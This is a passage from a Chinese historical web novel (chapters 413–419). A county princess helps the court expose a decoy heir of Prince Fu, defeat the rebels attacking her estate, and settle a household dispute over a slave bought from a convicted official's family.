李烨何曾见过这等阵仗,自然是吓得全身轻颤,眼神乱飞,手足无措。 这样的一个胆小少年,竟然会被福王旧部奉为少主? 这是还想着找机会再来杀他,好扶持这位少年上位? 永安帝眯起眼睛,怎么就觉得眼前这人就跟个傻子似的呢。 “你可知你父是何人?” 李烨说话有些颠三倒四,结结巴巴,最后还是永安帝实在没了耐心,让许君安将人又送回京兆府大狱了。 “朕看此人虽容貌有两三分相似,但这胆色着实是差了些。而且若真是福王血脉,又得多路旧部扶持,应是早知自己身份,怎么可能表现得如此不成体统!” 听话听音。 几位臣子也明白,陛下这是要否了李烨的身世。 “微臣以为此子必然是民间冒认的,他们定是与一些匪患勾结,以此来迷惑百姓,好为自己造势,其心可诛!” 有了曲世绩开头,其它人的话自然也就好说了。 “陛下,微臣以为此子乃是冒充的,其用意嘛,臣倒是觉得应该是想要学人骗钱骗物。” 赵长清眼珠子转得飞快,立马拱手道:“陛下,微臣也以为是假的。因为臣去捉拿他时,他身边的人身手不像是正规军训练出来的,倒的确是有几分江湖人士的风格,另外,臣注意到他还与一些个没什么眼界的小商户来往,兴许如几位大人所言,是为了骗吃骗喝。” 永安帝听罢,胸膛挺得更硬实些。 “既是如此,便交由赵长清来审,务必要审问清楚,他是如何骗人,又是否有同伙配合其行骗。” “是,陛下。” 赵长清得了明旨,后面的事,自然就知道该怎么办了。 赵长清回到府衙后,还在想着这次的暴动,目前只有驸马崔冲是受了训斥,但许世子、刘起县令,以及他这位府尹,那是立了功的。 再加上又抓了这么一位,想来他在陛下心中的分量会更重,不指望着现在就升官,但是至少,让他看到希望了。 这位许世子,呃,不对,应该说是安乐县主,当真是位福星呀。 他也是听许世子说,是安乐县主嘱咐他定要细查,尤其是对于一些胡商要查得仔细,这才查出来一些猫腻,如若不然,到时候整个京城乱成一锅粥,头一个被陛下拿来撒气的,定然是他呀! 赵长清舒口气,以后在朝堂上,还是要把眼睛擦亮一些,陛下乃是难得一见的明君。 明君治世,能臣显露才华,便不必畏首畏尾。 赵长清想着自己这个位子,那可是相当重要,若非是陛下信重的臣子,定然不可能坐上这个位置。 如今看来,刘起在陛下那里已经露脸几次,若是有朝一日自己高升,这个位置,十有八九是要交给刘起的。 当官嘛,为朝廷做事,为百姓谋福祉,但是前提得先为自己谋划好未来,否则,自己这身官袍没了,甚至是命都没了,还谈什么抱负志向? 一切都是扯淡! 赵长清想清楚这些后,便即刻进去审问李烨以及他的一干下属,这次的事情,务必要办得漂亮,否则,陛下那里不露脸呀。 许昭昭回了一趟侯府,回来的时候,便特意去了一趟李烨被抓的那个巷子。 李烨前脚被抓,许昭昭紧接着就收到了消息。 她不相信,一个藏了十多年的福王遗孤,这么轻易地就浮出水面了。 第414章 大案! 赵长清很快将案子审理清楚,接下来,就是要上报刑部核准,然后就可以等着处置了。 死刑,是需要刑部核准之后,才能实施的。 这也是大兴朝为了避免一些冤假错案,所以才定下的律法。 当然,这件案子是陛下亲自下达的旨意,所以赵长清还是要向陛下禀报。 赵长清觉得没有问题,毕竟这是按陛下的意思督办的。 另一边,许昭昭找到了许君霆:“你要马上找到大哥,就说赵长清先前抓的李烨是个假货,真正的李烨已经逃出京城了。” “嗯?” “昭昭,兹事体大,可不能开玩笑。” “三哥,这两个人你带着好好审问,若是陛下问及,你只管说是自己在外面试种新粮种时意外发现的……” 京城当晚出事时,许君霆的确不在京城,而是在皇庄上。 许昭昭交给他的两个人,正是距离皇庄约莫十里地左右的一处农庄上的佃农。 许昭昭也是顺藤摸瓜,才找到了这二人,证实这二人的确是曾在动乱暴发那一日,城门即将关闭时,看到几辆马车出城,同时,还听到了有人称呼少主。 当然,最重要的是,他们看到了那辆马车的车徽,这可不是闹着玩的! 当年福王的马车车徽,怎会突然出现? 普通老百姓自然是认不得这个的。 而且这车徽所在位置也较为隐蔽,是在那车帘子的内侧。 若非是因为当时里面的人掀帘子问话,这两位在路边的农户也看不到那样怪异的标识。 他们不懂什么车徽不车徽,但记下了是个有些奇怪的图案,毕竟他们以前没见过。 那保是独属于皇家的图案,他们身为老百姓,上哪儿看去? 许昭昭就是根据这一点,确定了真正的李烨早已逃出京城,留在这里的,不过就是个假货,从而为了吸引朝廷的注意力。 许君霆听完之后,又觉得不对。 “虽然是个假的,但也没必要暴露呀!” 许昭昭也想到了这层怪异之处。 “三哥说的对,虽然是假的,但能骗一时是一时,为何要突然暴露呢?” 二人突然想到一种可能性,快速对视。 “糟了,我赶紧去找赵大人,你派人去找大哥!” 许昭昭点头,这件事只怕是越闹越大,已经不是他们能掌控的了。 事情到这一步,已经顾不得谁立功谁担责了。 许昭昭即刻派人去联系距离最近的能联系得上的人,除了许君安之外,李章平、崔冲等人,只要是遇上了,都要让他们火速往东城门方向赶。 因为当时出事的是万年县,而长安县因为刘起查获了诸多东西之后,所以大家的重点都放在了万年县。 而东城门方向在长安县,所以就很容易被人忽视。 而在暴动事发后,因为抓获了大量的胡人以及叛匪,所以朝廷便以为收获颇丰,毕竟他们缴获了大量的兵器和火油。 所以,在昨天,朝廷就已经命人开放了东城门。 而真正的李烨,极有可能是命手下携带着重要物资从东城门离京了。 已经过去一天一夜,想要再追上的可能性不大,但总要弄清楚,李烨究竟从京城运出去了什么。 假李烨被抓是在城西侧,所以,大家的重心自然就会往西移,谁会想到,安静了几日的东城门这边,竟然会出事。 许君安和崔冲二人都得到了消息,李章平也带着兵马赶来。 “你们二人进宫禀报,我带人去追,放心,从东城出来的官道只有那么一条,他们若是想要走的快,就一定会走官道。” “但是出城十里后,就未必了。他们兴许会将东西缷下,从而走山路。” “别管了,我先带人去追,若是兵器粮草,必然不会走山路,太慢,而且咱们的人也更容易追到。” 许君安皱眉:“但若是金银呢?” 三人沉默一瞬,无论如何,还是要先追。 崔冲果断道:“我和李将军一起出去追,真发现异常,我们兵分两路。你去禀报陛下,如果可以,再拨给我一些人手。” “好。不过你们一定要注意安全,人马要多带,以免中了敌人的奸计。” 万一是诱他们出城呢? 暴乱之后,各种可能性都会有。 所以,许君安直接将自己带的三百人拨给李章平,“你们二位小心,我禀明陛下后,即刻再带兵马支援。” “好!” 另一边,赵长清在宫门口被许君霆给截住了。 “赵大人,此案暂时结不了。” “什么?”赵长清瞪眼,这可是陛下授意的。 许君霆累得气喘吁吁,总算是将事情的始末说清楚了。 赵长清脑门儿上的汗都下来了。 这么刺激的吗? “快,随我入宫勤见陛下!” 此等大事,必须要尽快禀报。 至于那两名农户,早就被吓软了腿,这会儿被谢啸林安排人一左一右架着往里走。 永安帝此时正在与曲世绩和崔玄明商量着如何处置那些涉案的官员。 都是些微末小官,但是不处置,又实在是难消心头之恨,可处置若是过重,难免会影响君德。 “陛下,京兆府尹赵长清、开国县男许君霆在外求见,说是有急奏。” “宣!” 赵长清几乎是连跌带撞地进来的,完全失了仪态。 许君霆比他好一些,因为就在刚刚,他看到了大哥的身影,估计也知道消息,应该做出安排了。 永安帝皱眉:“如此慌乱,成何体统!” “陛下恕罪!微臣抓的那个李烨是假李烨,真正的李烨极有可能已经潜逃。并且在昨日早上,极有可能还运送出去了大批物资,只是目前不能确定究竟是何等要紧之物。” 一席话说得没头没尾,永安帝都听糊涂了。 许君霆这会儿已经平静下来,不徐不疾地将事情来龙去脉说了一通。 “微臣也是昨日见到那两位农户后,才察觉有异,之后微臣便命他二人说一下那奇怪的图案是何等样貌,臣将一皇家马车专用标属画出,这二人齐齐点头说极像,但又有些许不同。直到微臣手下画出当年福王的车徽,这二人才齐齐点头确认。” 第415章 中计了 许君霆将事情始末说完,许君安也到了。 “根据目前已知的消息,的确是有几辆马车出了东城门,李将军和崔驸马已经先带人去追了,微臣担心他们二人的安危,所以便将自己手下的三百人也调派过去,微臣担心城外有诈,特意请旨前往支援。” “来人,把陆晋叫来。” 永安帝想了一下:“你去宫城门口将谢将军换下,由他带人去追。” “是,陛下。” 永安帝又交待几句后,谢啸林直接带着三千御林军追出了城。 许昭昭让人给云栖山庄送去消息,如果她没猜错,那里今天晚上会有一场恶战。 一直到午后,李生才抵京。 “百果园不确定是否还会有恶匪突袭,所以那里的人手不能派给你。但是我这里还有五十名护卫,你一并带去云栖山庄,记住了,一定要护住山庄,我指的是护住人,而非物。” “是,属下明白。” “若是胆敢有人来犯,杀无赦!” 到这种时候了,留不留活口不重要了。 只要来人丢了性命,余下的事情可以慢慢查,无论如何,不能让他们伤到自己的人。 任何时候,人才是最重要的。 “此物为药粉,若是对方人马过众,你便将药粉洒出,切记,自己人别沾到,此药会令人软弱无力,连只杯子都拿不起来,届时,你们想活捉便可活捉。” “是,县主。” 等到李生带人离开,许昭昭又将紫苏叫来,让她回侯府一趟,这种时候,任何一环都不能出差错。 李章平胳膊中了一箭,崔冲倒是无碍,但是手底下的兵死伤惨重。 幸亏是陛下派谢啸林前往,三千御林军刚至,那些人便开始边退边打。 若是换了许君安来,应该是第一时间保证李章平和崔冲的安全,其次才是追杀逃兵。 而谢啸林不一样,根本就不理会这二人,直接带人冲杀。 事实上,进攻,就是最好的防御。 他这一冲杀,敌人自然是且退且战,直至最后毫无战力。 而他们一退,李章平和崔冲二人自然也就摆脱了险境。 谢啸林有丰富地作战经验,所以在冲杀的同时,派出两股骑兵快速斜插进去,直接切断这些人的后路。 一番厮杀之后,清点战场,总共歼敌一千零二十八人。 谢啸林估计,最终逃走的人数,不会过百。 几人回京复命时,天已黑透。 永安帝大怒! 至此,所有人都看明白了,那两名农户也好,还是福王马车的车徽也罢,全都是对方故意留下的破绽。 但是崔冲不该太冲动,贸然行事,导致李章平受伤,还有更多的部下折损。 谢啸林抱拳道:“陛下安心,此次那些贼人逃走定不过百,而且微臣返京时,已经命人前往蓝田县传信,他们今晚十有八九要在蓝田县境内休整。” 根据逃走的方向,谢啸林做出了这样的判断。 永安帝皱眉:“蓝田县?” “陛下,蓝田县有府兵一千余人,臣已经给那边的折冲府都尉传令了,相信他们会全力戒备,并且最终剿杀这帮乱臣贼子!” 永安帝背着手,在殿内踱步:“朕记得许昭昭的封地就在蓝田县。你说,这些人会不会冲着云栖山庄去?” 谢啸林面色微凛,自那些人逃走之后,他这边的人追出去二十余里地,又斩杀了三十多人,之后才召回。 之后他们清理战场,再回京复命,算算时辰,如果他们的目标是云栖山庄,那现在应该已经交上手了。 虽然许昭昭在京城,但谢啸林还是有几分担心。 “陛下,微臣带人前往蓝田县拿人。” “不可!”陆晋先一步阻止:“你要留守京城,任何时候,你是大将军,不能乱!” 不过是一帮子乌合之众,如何能用得到大将军亲自出马? “许君安何在?” “微臣在。” “你即刻带一千御林军前往蓝田县,配合地方府兵以及县衙,务必将那些贼人剿杀,还要保证安乐县主的产业无虞。” “是,陛下。” 一千骑兵,集齐之后,再前往七十余里开外的蓝田县,若是白天,兴许一两个时辰即可。 可这是晚上,而且他们一路上还要小心是否有埋伏,所以派出了斥候探路。 等许君安带着人抵达蓝田县时,才发现云栖山庄里外竟是灯火通明。 蓝田县令方有为带着数十名衙役,配合着地方府兵以及县主这里的护卫,成功擒获了二十六名贼人,击杀一百零六人。 “方县令,你随本将进京面圣。” “是,世子爷。” 李生身为云栖山庄的护卫队长,再加上他是这次剿匪的主力,自然也要同往。 发生这么大的事,太极殿的灯火一夜未熄。 等到天将亮时,许君安带着人返回京城。 方有为在等许君安至蓝田县时,便已写好了奏折,这是县主的意思。 当初不明白,如今自然已经领会县主之意。 只要他在陛下这里再留次名,那么日后升迁有望。 果然,安乐县主才是真福星。 “禀陛下,其中有三十五人,是微臣等得到安乐县主的书信后,即刻在县城内搜索,从而查出来的可疑之人,总共查获了六处民宅,从中搜出大量的火油和兵器,同时,还查获了铜钱二十余箱,金银珠宝两箱。 微臣刚刚将这些查实,便收到了云栖山庄的信号,之后微臣与县尉等人合力,再配合张都尉前往云栖山庄,这才合力剿匪。” 方有为禀报完之后,也不敢抬头,再一拜:“禀陛下,其实微臣等带人到时,贼人已呈颓势,李护卫带着山庄的护院以及在那里投靠的男丁们一起将整个云栖山庄护在身后,且在此之前,已经先一步在庄外布下了陷阱。” 永安帝点头:“李生何在?” “微臣在!” 李生是当初永安帝赐给安乐的护卫队队长,那也是有官身的。 “何故做此安排?” “回禀陛下,百果园遇袭,死一人,伤数人,县主得知后大为悲痛,遂召微臣入京商议,料定对方还会再有动作,所以便命微臣先做布防。” 第416章 他到不了高处 此次也算是将贼人剿灭,永安帝的怒火,总算是消下去了一些。 “李烨逃往何处?” “微臣抓住了两名女眷,其中一人为李烨的乳母,还有一人是李烨身边的随侍,据二人交待,李烨带着十余名手下,逃往北部,但是具体地点,她们二人不知。” 方有为能抓住这两人,也算是立下大功了。 “做的不错,下去吧。” “微臣告退。” 有了这次的事,永安帝自然不会再掉以轻心。 一个李烨,年纪不大,倒是能整事。 不过,永安帝还是倾向于,搞事的人,应该是他身边的福王旧部。 一个十几岁的孩子,能做出什么大事来! 许昭昭人在国公府,但是各路的消息也都源源不断地飞来,她没出锦绣园,却将最新的消息都知道得一清二楚。 “禀主子,国公爷回来了,说是请您去书房说话。” “知道了。” 许昭昭大概能猜到是什么事。 这次云栖山庄做得很好,而且是陛下安排的人立下首功,无论如何,陛下都会高兴的。 果然,谢啸林提到了蓝田县之事。 “你是有意推方有为往上走?” 许昭昭猜到了公爹的意思,轻声道:“方县令未必有大才,但他是个实干之人。儿媳说句不中听的话,他这样的人,若无人护着,在官场上走不远。即便是有人护着,他也不可能到太高的位置。” 谢啸林看她一眼,再一琢磨她这话,便明白了这个方有为并非是她重点栽培的人,但是可以成为一名重要位置的自己人。 这就足够了。 “你心中有数就好。李生此次立下首功,陛下奖赏,已经给他升了官职,他原本就是你的护卫队队正,如今再担一虚职,品级高了些,但是仍然在你身边伺候。” “是,父亲。” “你是县主,如今食邑为一千两百户,光是这一千两百户中抽调出来的壮丁,便足以护住整个云栖山庄,何故还要将功劳分给地方府兵以及方有为?” “父亲,不患寡,而患不均。儿媳不敢赌呀。若是敌手太强或者是兵力太盛,云栖山庄未必能抵挡得住。况且,您也说了,只是壮丁,而非受过正式训练的兵丁,到底是有些差异的。所以,我必须得借助地方府兵的力量。 但如此一来,我将方县令以及地方县尉置于何地?且我原本就怀疑蓝田县内也藏有一些匪人,不过是书信一封做提醒,他做了,查了,有结果了,那么,便是他立了功劳,自会感激我。 若是他不信我,不查、不配合,那么便错失这份功劳,事后也怨不到我身上。此举原本就有试探之意。好在,这个方有为并未让我失望。” 谢啸林看着许昭昭,半天说不出话。 如此精明能干的儿媳,属实是个太大的惊喜了。 “三郎说的对呀,他配不上你!” 许昭昭瞪眼,这是什么意思? 谢啸林一看她这反应,顿时哈哈大笑。 “你聪慧过人,胆识亦不比男子差。日后有你做三郎的贤内助,我也就放心了。” “那儿媳就当您是在夸我了。” “哈哈!就是在夸你,不必自谦。日后若是有什么需要的地方,尽管来找我。” “儿媳谢过父亲。” 谢啸林看着这个儿媳,那真是越看越满意。 幸亏当年他下手早呀,早早地把亲事定下,要不然,就三郎那个冷面煞神,上哪儿找这样温柔聪慧的媳妇去! “不必多礼,你如今怀着身孕,有事尽量还是安排底下人去做。莫要太劳累了。” “是,父亲,儿媳谨记。” “好了,回去吧。” 谢啸林之后又独自在书房里待了近半个时辰,之后就去给老夫人请安。 等他再出来的时候,面带笑意,许昭昭这个儿媳妇,必须得好好哄住了。 老夫人也没想到,孙媳妇竟然如此聪慧,不仅做成了一件件大事,最后还能完美地隐身于事情之外。 这简直就是个天才! “你去锦绣园传话,就说是我的意思,以后没有什么特殊情况,不必来请安,只让昭昭初一、十五过来陪我坐坐即可。另外,再命人去库房挑些好的补品送去,再跟其它各房的人都知会一声,若是没有什么要紧事,莫要去打扰世子夫人。” “是,老夫人。” 安信侯府这边,王若兰也总算是跟着松一口气。 她无比庆幸中计的不是她儿子呀。 好在,当时儿子没有冲动,若是他也急着立功,只怕受伤的就是多一个许君安了。 但是总地说来,这次的事,许君霆也是歪打正着立了功。 无论那辆马车是否故意泄露了车徽,都是许君霆及时发现,才能给了朝廷歼敌一千余人的机会的。 如果没有许君霆急匆匆去报信,这一千多人跟着福王遗孤跑了,那还不知道要惹出什么乱子来呢。 如今已经确定,跟着李烨跑的人手最终不过几十人,陛下至少可以安心睡觉了。 至于先前李烨故意声东击西,弄出来个假李烨,估计就是为了运送那些东西。 现在好了,都在蓝田县被查了。 而且因为被查得太突然,听说李烨平时的几件常服都未能带走,一并被收缴了。 这就能看得出来,李烨当时是狼狈而逃了。 不过,等到冷静下来之后,王若兰问许君安:“李烨何故要对云栖山庄出手?” 许君安皱眉:“许是为了制造混乱,而且他兴许也没料到,蓝田县会早有防范。我以为他的主要目的是为了乱人心,之后再借机在蓝田县纵火闹事,最后再远遁。” 王若兰却觉得这个理由不充分。 如果只是为了乱人心,何必非要针对许昭昭的封地? 那里有曲家、赵家的玉矿呢,直接去把那玉矿给炸了,不是能有更大的乱子? 王若兰想不明白,如今老爷也不在身边,她也不敢胡思乱想,就怕是在自己吓自己。 “传令下去,侯府所有女眷,不得随意出入,无论主仆,皆要遵守。” “是,夫人。” 许君安提醒一句:“要不,咱们去看看昭昭?” 第417章 一定为县主效忠 京城闹出这么一场乱子,最终的结果,还是处置了一批官员以及胡商才算是平息。 原本定下的谢婵和郑拓的婚事,因为郑拓远在战场之上,所以也不得不延期。 这也是许昭昭的意思。 因为如果按照一些迂腐之人的想法,是想着请人或者是一只鸡代郑拓拜堂成亲的。 许昭昭可绝对不能容许这种事情的发生。 嫁人是一辈子的事,岂能如此草率? 况且,真要是这样做了,日后的谢婵,只怕要被某些人嘲笑一辈子。 所以,婚期推迟,是许昭昭坚持的结果。 但是谢娟和李顺的婚期,却是无法推迟的。 而且无论是谢家还是李家,都没有推迟婚期的打算。 李顺自从上次之事后,便深知自己在权贵面前一文不值。 他原本以为有一位做将军的堂伯,至少可以让他有与国公府中平辈中平起平坐的资格。 现在想来,一切都是空想。 只是一位安乐县主,便能将他按在地上摩擦,若是世子爷甚至是国公爷出手,只会更狠。 所以,李顺老实了,自我认知也更清晰了。 他能娶到国公府的姑娘,那是他高攀了。 是人家谢七姑娘低嫁了,所以,不要再以为自己年少有为,就可以瞧不起一位国公府的庶女了。 李母这次也想明白了,待到新妇进门,她便将府中中馈尽数交出,自己专心养老,不再管事,也乐得清静。 只要新妇不顶撞她,不苛待小叔子,李母就觉得别无所求了。 京城的那次暴乱,并没有引起太多人的重视,尤其是对于普通百姓而言,无非就是杀了几个小官,逮了几个做非法生意的胡商而已,算不得什么大事。 京城还是京城,陛下还是陛下,他们的日子还是照样过! 自打上次的事情之后,王若兰先后来了两次国公府,就是因为不放心许昭昭。 但两次都见她气色好,而且吃的喝的都不差,身边人伺候的也周到,这心里头也就踏实了。 因为确定了许昭昭怀的是双胎,所以王若兰在诸多小事上就更上心了。 原本想着先找四个乳母,到时候从里面再挑两个,现在又觉得不够,所以又安排人去再寻两个,到时候许昭昭身边至少要留下四个乳母才行。 王若兰可是知道的,这小孩子长起来可太能吃了,尤其是生个小子,长的那叫一个快。 除此之外,一些婴儿要用的襁褓、肚兜、小鞋子等等,全都得按双份儿的来。 甚至于连她准备给外孙的金锁都得按两套打造。 国公府自然也是要忙碌起来的。 但是锦绣园里这边的主子们用的贴身衣物,基本上都是自己院儿里头大丫环做的,所以针线房那边只负责一些个简单的物什。 许昭昭命人打造了两张婴儿床,其实就是摇篮,估计顶多就是睡上两年,搞不好两年都睡不满,就得换。 谢婵的婚事推迟,但是她也被老夫人专门叫过去说话,点明了无事不可出国公府,毕竟是要嫁为人妇了,还是要安分一些的好,莫要在这紧要关头,被郑家人拿到短处。 谢娟就不一样了,她的婚期将至,李顺那边也已经下聘。 东西虽然不多,但是也能说得过去。 毕竟谢娟相看时,便知道这李顺的家境如何。 这阵子,李顺不敢作妖,安安分分地办差,只盼着安乐县主真能饶他一回。 其实李顺也知道,他都下聘了,所以这门婚事还是要继续的,只是他这个国公府的女婿,能否入得了国公爷的眼,就得看世子夫人的了。 如今的李顺也不傻,总算是托人打听清楚,如今国公府上上下下的事都是许昭昭做主。 而对外的产业,已经有部分转移到了许昭昭手上,至于先国公夫人的那份嫁妆,早就在谢铮和许昭昭手里了。 所以,李顺这才明白,国公府真正做主的人,是谢铮和许昭昭。 国公爷现在虽然被暂时安排了差事,但是实际上大家都清楚,等到谢铮凯旋而归,国公爷会再次以休养之名卸职。 说到底,国公爷在为世子铺路。 而安乐县主为了能让世子的前程更顺遂,自然是不遗余力地相助。 李顺后悔自己现在才看清楚形势,但好在一切都尚有挽救的机会。 他不是武将,不像郑拓可以靠着战场上拼杀来的功劳快速上位,但他身为文人,也有文人的用处。 所以,这一次,李顺决定借着下聘之机,向安乐县主表明心迹,他定会效忠县主,效忠世子爷! 仍然是那处六角亭。 不同的是,这一次,李顺被请入了亭内。 “县主容禀,下官如今想明白了,上次的事情未妥善处理,是下官的错。如今即将迎娶七姑娘为妻,是下官的福气。日后但凡县主有何吩咐,下官一定竭尽全力,绝无二话,哪怕是让下官赴汤蹈火,在所不辞!” 李顺说到最后,竟是起身朝着许昭昭一拜。 许昭昭也未躲闪,以她的品级,此礼自然是受得。 “李主簿,你与七姑娘成婚,这是喜事,两家自此之后成为亲家,也当多多走动,这一点,毌庸置疑。七姑娘虽是庶出,但也是我国公府的小姐,日后不可怠慢于她。” “县主放心,下官一切都明白。” 他一直称呼的都是县主,这一点,许昭昭明白,李顺自己就更明白了。 “也罢,国子监主簿的差事不错,但是想要出头,机会不易得。待年后吧,李主簿,让我看看你究竟有几分本事才好安排,你说呢?” 李顺瞬间领悟:“县主放心,下官别的不行,但是一片忠心,绝无二话!” “甚好。” 许昭昭要的,就是他的忠心。 毕竟像李顺这样的人太多了,可用,也可不用。 “对了,我听说你的弟弟不打算再读书了,指望着年后寻一份差事,日后再议门亲事,也算是有了谋生的手段,此事,你是如何安排的?” 许昭昭问的是安排,而非是否知晓。 李顺心里咯噔一下子,随即苦笑:“回县主,此事下官暂无安排,这差事,岂是那么容易的?” 第418章 谁沾谁死 许昭昭想了想,她未曾亲眼见过那位李二郎,所以现在也不好直接就给出承诺。 “年前或者是年后,按规矩你要携新妇到岳家拜年请安的,到时候,将你弟弟带上吧。” 李顺眼睛一亮,立马深深一揖:“下官多谢县主提携。” 李顺和谢娟的婚事,正在紧张地筹备当中,因为许昭昭有孕,所以大部分的事情都是于氏在操持。 许昭昭也乐得清静,现在朝廷的重心放在了室韦和靺鞨的战事上,另一部分则是仍然在追捕李烨。 京城先前抓了那么多人,又砍了十余名官员,现在朝堂上的风气可以说是相当地清凉。 早先总会犯一犯糊涂的官员,这个时候的眼神也都格外清澈。 谁想被陛下拎出来砍头呀! 许柱子再次过来禀事,上次的事情,陛下很满意,特意赏了许柱子一些金银财物,这可是陛下御赐,这能让许柱子在外头吹一辈子。 “主子,小的问清楚了,被斩的那位军器监丞的一家老小被贬为奴籍,女眷皆充入教坊司,其中一人被府上的二少夫人买下,于六日前进府了。” 许昭昭正端着茶盏的手微微一顿:“消息属实?” “回主子,小的都查证过了,那名姑娘原名叫王玉禾,被带入府中后,改名为新禾,据说是因为名字里有一个玉字,与二少夫人冲撞了。” 许昭昭皱眉,这是有人故意为之,还是那位二嫂实在太蠢,什么人都敢召入府中? “可知道是何人引入府的?” “回主子,去买奴婢的是二少夫人身边的陪嫁嬷嬷,据小的猜测,应该是奉命而行。小的昨儿打听到二少夫人曾在出事后回过一次娘家,没几天,她身边的嬷嬷便去买人了。” “嗯,此事还得再查查,莫要放松。” “是,主子。” 许昭昭现在的肚子不算大,而且她也知道孕妇不能一直躺着坐着,这也不利于养胎,更不利于日后的生产。 芍药和紫苏二人陪着她,慢悠悠地往外晃。 于氏得知许昭昭来了,立马让人安排软一些的座垫,又让人去备孕妇能喝的养身茶。 “你怎么过来了?我听说你连个软轿都没做,自己就这样一路走过来的?” “二婶放心,我身子好着呢。而且总在屋里头闷着也不利于养胎,听说您在为了七姑娘的婚事劳心,我自然得过来道声谢。” 这话说得漂亮。 于氏笑道:“你呀,可是有事要跟我说?以后若是有事,也只管打发人过来知会一声,莫要再走这么久了。” “谢谢二婶体恤。我真没事,正好今儿听到下人带了个消息回来,所以专程过来禀报您一声,主要是这事情说大不大,说小不小的,侄媳也不敢自作主张。” 能让许昭昭说不敢自作主张的,那就一定不是小事。 “昭昭,你有话直说便是,二婶信你。” 许昭昭脸上的笑更真诚几分:“既然二婶都这样说了,那我也就不拐弯,听闻二嫂近日从外面新带了名奴婢回来,且给改了名字唤新禾?” 这事于氏是真不知道,她转头看向自己身边的一位管事嬷嬷。 “禀二夫人,确有此事。那个丫头是六七日前带进府的,听说是二少夫人身边的两位小主子闹腾得厉害,所以特意在外头寻了个十岁左右的奴婢进来陪着二位小主子玩耍的。” 于氏点头,听着年纪不大,那就不是想要纳通房之类的。 况且如今谢琅也不在府上,所以这刘玉霜只是单纯地为了两个小的着想? “昭昭,可是这个人的出身有什么问题?” “此人本名叫王玉禾,前不久被陛下下旨赐死的人里,便有其父,正是犯了渎职罪的前任军器监丞,陛下还将他的家人都贬为了奴籍,若是按正常的流程走,那么这位王氏女,应该进教坊司。” 许昭昭这一解释,于氏就听懂了。 刘玉霜应该是受了什么人的请托,所以才将这个王玉禾买下来,但问题是,不该将人带入府中呀。 王玉禾父亲所犯之罪,说大不大,说小不小,而国公府又是武将之家,眼下李烨又仍然在逃,这个节骨眼儿上,谁碰这些人,谁死! “我竟不知此事。来人,去将二少夫人请来。” “二婶且慢!” 于氏抬了一下手,下人又回来了。 “二婶,先前因为刘勃一事,二嫂对我颇有微词,此事,又是我的人无意中知晓的。” 于氏多聪明呀,立马明白了。 “你放心,此事定不会牵连到你。咱们国公府也有国公府的规矩。若只是寻个奴婢进府,我当婆母的又岂会不应?罢了,你先回去,此事我自会料理。” “又让二婶婶费心了。实在是如今京城看似太平,但底下仍然是暗流涌动,这个时候,与李烨相关的任何人,咱们都不能沾呀。” 这个道理,于氏又岂会不知? 发善心是好事,可你也得看清形势! 万一一个不小心把自己给坑进去了,那还叫发善心吗? 那叫愚不可及! 许昭昭走后好一会儿,于氏越想越气,这个二儿媳是受了什么盅惑不成,这等来路的下人,也敢买回来? “来人,即刻派人去查那个新禾,弄清楚之后,直接管二少夫人要来卖身契,然后再即刻送入府衙,转卖或者是送至教坊司,都不得插手。” “是,夫人。” 于氏是真被气狠了。 一个十岁的小姑娘飘零至此,的确是引人生怜。 但她的父亲牵扯到的是福王旧部呀。 这个烫手山竽,是说什么都不能碰的。 刘玉霜这边早就给娘家送了信回去,不就是买一个奴婢嘛,顺手而为之事,还让家里头的长辈欠自己一份人情,她可是赚大了。 结果,她这里刚哄完孩子,就被告知夫人派人过来。 “你说什么?” “二少夫人,奴婢是奉了二夫人之命前来办差的。王玉禾的卖身契,还请您拿出来,此事牵涉颇多,奴婢处置了这位王玉禾之后,还要再去向二夫人复命。” 刘玉霜气得浑身直抖:“你,你放肆!还敢拿婆母来压我,我身为少夫人,竟是连添个奴婢的权利都没有了吗?” 第419章 只是蠢,不是坏 刘玉霜再怎么气恼都没用。 原本应该没入教坊司的人,竟然出现在了国公府,这还得了? 若是无人注意还好,可一旦被人知道,一道折子送上去,那就等着被处置吧。 于氏出手干脆利落,毕竟是管了国公府内宅多年,更明白此事的重要性。 她的二儿子还没立下战功呢,儿媳妇先给惹祸了? 那可不行! 所以,不仅仅是那个王玉禾被送回去了,连带着那名将王玉禾带进府的嬷嬷都一并被惩治了。 “来人,带她去府衙,按律受刑。” “是,夫人。” 被下了明旨要没入教坊司的人,除非是得到陛下圣旨,否则,谁也不能带走。 即便是带走,也只能是以教坊司奴婢的身份来此表演或者是做事,岂能成为他府的奴婢? 这是犯法的! 除此之外,于氏还意识到了这件事的严重性,但毕竟只是内眷之事,所以她直接派人去了一趟刘家,亲自将这件事说与刘夫人听,先看看刘夫人是何态度再说吧。 没让于氏失望,这件事,刘夫人竟然不知情。 于氏这次是真地服了,自己这个儿媳妇,莫说是与许昭昭比了,便是与六姑娘七姑娘比都不如! 谢婵谢娟虽然出身不高,但是胜在听话呀,至少不会做自做聪明之事。 可是这个刘玉霜,当真是蠢到家了! 这是被人当刀使了呀。 于氏闭眼,略有几分无力地深吸一口气,若非是许昭昭先一步发现了这件事,只怕到时候儿子功劳未立,还得被这个儿媳妇给连累了! 人怎么能蠢成这样呀! 这件事情可不算小,于氏自然也没有隐瞒,谢啸成知道之后,半晌没有反应过来。 “不是,你可问过老二媳妇了?她做这些,究竟是图什么?” 于氏一脸失望:“还能图什么?人家就是觉得这样做能显出她在国公府地位,能找回面子。” 谢啸成还是没听懂。 于氏白他一眼,无奈道:“先前她弟弟的事,让她自以为是在刘家失了颜面,所以这次有人求到她跟前了,想也不想便直接应下,你说说她这脑子怎么就能这么简单?事先不知道去打听打听什么人什么出身吗?” 谢啸成也跟着皱眉:“你这么一说,老二媳妇好像是挺蠢的。不是,你的意思是说,她连这个王氏女是什么人都没弄清楚,直接就找人弄回来了?” 于氏叹气道:“可不嘛!这次咱们可是欠了昭昭一个大人情呀。要不是她消息灵通,外头的管事进来禀报,咱们都还被蒙在鼓里呢。” 谢啸成也没想到会整这么一出呀。 原本一切都好好的,而且这次京城的事情里头,前前后后,许昭昭也算是立了功,而且大哥一直在镇守宫门,总而言之是一切都挺好,可怎么就在自家儿媳这里出了岔子呢。 谢啸成甚至都想要阴谋论了。 但再怎么阴谋,也得你自己家人配合呀! 所以说,夫人说的对,老二媳妇太蠢了! “夫人,依我看,这阵子京城不太平,你也好好约束一下咱们府中的内眷吧。我听说安信侯府那边可是几乎都封府了。” 这事儿于氏也知道,原本还觉得许夫人太过小心了些。 现在看嘛,许夫人这才是英明之举! 如果她也早下了令,只怕也不会有这么一出了。 “明儿我就下令,府中女眷一律不得随意出入,主仆一样!” 